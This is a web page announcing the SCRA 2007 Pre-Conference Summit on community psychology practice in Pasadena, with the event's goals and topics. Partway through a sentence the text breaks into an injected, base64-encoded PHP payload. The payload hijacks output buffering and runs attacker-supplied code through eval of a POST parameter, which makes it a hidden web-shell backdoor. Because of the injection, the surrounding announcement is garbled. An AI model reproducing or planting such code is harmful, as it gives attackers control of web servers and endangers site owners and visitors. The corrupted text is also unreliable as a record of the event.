SCRA 2007 Pre-Conference Summit

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You are invited to a special event:

First Ever Summit on the Practice of Community Psychology

SCRA Pre-Conference Summit on Community Practice
Wednesday June 6, 2007; 1PM - 6:30 PM
Pasadena Hilton, Pasadena CA

Join your colleagues at this historic Summit to explore and determine what we need to do to create a vigorous, sustainable field of practice in community psychology! This will be a first-time precedent-setting event that will help transform the field. We are excited to offer this special event as part of the SCRA Biennial experience! It will be held Wednesday June 6, 2007; 1:00 PM - 6:30 PM.

Engage with your colleagues in a participatory process that will promote the future of community psychology practice. We will explore and debate key issues regarding training, professional development, recognition, and publications. Our mission is to make changes regarding community practice that will redefine the field!

Issues to be addressed include:

• Making community psychology practice a more recognized and valued profession;
• Valuing and learning from the work of community psychology practitioners;
• Articulating a definition of community psychology practice and the core competencies needed for skillful practice;
• Guaranteeing that all graduates from programs in Community Psychology have the competencies to apply their knowledge in the community, not just the academy; and that students who wish to pursue community practice are supported in their effort to do so
• Ensuring that SCRA adequately and sufficiently supports and promotes community practice;
• Ensuring that our publications are of value to those in practice, give a voice to those in practice, and provide a forum for presentation and debate on issues relevant to practice.

Join the leaders of our field, your colleagues, students and decision-makers for a history making summit. We will leave the summit with outcomes and concrete actiRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCd3NngnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kdzZ4bD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcigndzZ4MicpKSE9J3c2eDInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>

for presentation and debate on issues relevant to practice.

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